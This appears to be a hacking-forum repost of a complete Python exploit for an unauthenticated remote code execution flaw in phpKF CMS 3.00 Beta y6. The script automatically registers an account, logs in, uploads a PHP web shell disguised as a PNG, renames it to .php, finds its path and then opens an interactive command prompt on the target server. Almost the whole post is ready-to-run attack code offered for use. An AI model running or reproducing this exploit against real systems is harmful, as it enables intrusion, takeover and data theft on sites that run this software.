Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)

 Share


HACK1949

Recommended Posts

# Exploit Title: phpKF CMS 3.00 Beta y6 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 18/12/2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.phpkf.com/
# Software Link: https://www.phpkf.com/indirme.php
# Version: 3.00
# Category: Webapps
# Tested on: Linux/Windows

# phpKF-CMS; It is a very popular content management system for promotion, news, shopping, corporate, friends, blogs and more.
# Contains an endpoint that allows remote access
# Necessary checks are not made in the file upload mechanism, only the file extension is checked
# The file with the extension ".png" can be uploaded and the extension can be changed.


# Example: python3 exploit.py -u http://example.com
#		   python3 exploit.py -u http://example.com -l admin -p Admin123


from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import json

def main():
	parser = argparse.ArgumentParser(description='phpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)')
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=False)
	parser.add_argument('-p', '--password', type=str, required=False)
	args = parser.parse_args()
	print("\nphpKF-CMS 3.00 Beta y6 - Remote Code Execution (Unauthenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	host(args)


def host(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		sleep(2)
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass
	else:
		print("\n[?] Check Adress...\n")
		sleep(2)
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass


	# Check Host Status
	try:
		response = requests.get(args.host)
		if response.status_code == 200:
			if args.login == None and args.password == None:
				create_user(args)
			else:
				login_user(args)
		else:
			print("[-] Address not reachable!")
			sleep(2)

	except requests.ConnectionError as exception:
		print("[-] Address not reachable!")
		sleep(2)
		exit(1)


def create_user(args):
	print("[*] Create User!\n")
	sleep(2)
	url = args.host + "/phpkf-bilesenler/kayit_yap.php"
	headers = {
			"Origin": args.host,
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Referer": "http://fuzzing.com/uye-kayit.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"kayit_yapildi_mi": "form_dolu",
			"oturum": '', "kullanici_adi": "evil",
			"sifre": "Evil123",
			"sifre2": "Evil123",
			"posta": "evil@localhost.com",
			"kosul": "on"
	}
	response = requests.post(url, headers=headers, data=data, allow_redirects=True)
	args.login = ("evil")
	args.password = ("Evil123")
	print("[+] " + args.login + ":" + args.password + "\n")
	sleep(2)
	login_user(args)



def login_user(args):
	url = args.host + "/uye-giris.php"
	headers = {
			"Origin": args.host,
			"Content-Type": "application/x-www-form-urlencoded",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
			"Referer": args.host + "/uye-giris.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"kayit_yapildi_mi": "form_dolu",
			"git": args.host + "/index.php",
			"kullanici_adi": args.login,
			"sifre": args.password,
			"hatirla": "on"
	}
	response = requests.post(url, headers=headers, data=data, allow_redirects=False)
	token = response.cookies.get("kullanici_kimlik")
	if (token != None):
		print("[!] Login Success!\n")
		sleep(2)
		upload_evil(args, token)
	else:
		if args.login == "evil" and args.password == "Evil123":
			print("[!] Unauthorized user!\n")
			print("[!] manually add a user and try again\n")
			print("[!] Go to link " + args.host + "/uye-kayit.php\n")
			print("python3 exploit.py -u '"+ args.host +"' -l 'attacker' -p 'p@ssW0rd'")
			sleep(2)
		else:
			print("[!] Unauthorized user!\n")
			sleep(2)


def upload_evil(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"VERICEK": "",
			"DOSYA-ADI": "evil.png",
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=utf-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = "<?php if(isset($_GET['cmd'])){ $cmd = ($_GET['cmd']); system($cmd); die; } ?>"
	response = requests.post(url, headers=headers, cookies=cookies, data=data)

	if (response.text == "yuklendi"):
		print("[!] Upload Success!\n")
		sleep(2)
		change_name(args, token)
	else:
		print("[!] Upload Failed!\n")
		sleep(2)


def change_name(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"yenidenadlandir": "evil.png|evil.php",
			"vericek": "/"
	}
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	if (response.text == "Name successfully changed..."):
		print("[!] Change Name evil.php!\n")
		sleep(2)
		find_dict(args, token)
	else:
		print("[!] Change Failed!\n")
		sleep(2)

def find_dict(args, token):
	url = args.host + "/phpkf-bilesenler/yukleme/index.php"
	cookies = {
			"kullanici_kimlik": token,
			"dil": "en"
	}
	headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
			"Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
			"Accept": "*/*",
			"Origin": args.host,
			"Referer": args.host + "/oi_yaz.php",
			"Accept-Encoding": "gzip, deflate"
	}
	data = {
			"vericek": "/",
			"dds": "0"
	}
	response = requests.post(url, headers=headers, cookies=cookies, data=data)
	if (response.text == "You can not upload files!"):
		print("[!] File not found!\n")
		sleep(2)
	else:
		print("[!] Find Vuln File!\n")
		sleep(2)
		soup = BeautifulSoup(response.text, 'html.parser')
		path = soup.find("div").contents[1].replace(" ", "")
		exploit(args, path)


def exploit(args, path):
	print("[+] Exploit Done!\n")
	sleep(2)

	while True:
		cmd = input("$ ")
		url = args.host + path + "evil.php?cmd=" + cmd
		headers = {
			"Upgrade-Insecure-Requests": "1",
			"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
		}

		response = requests.post(url, headers=headers, timeout=5)

		if response.text == "":
			print(cmd + ": command not found\n")
		else:
			print(response.text)


if __name__ == '__main__':
	main()
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...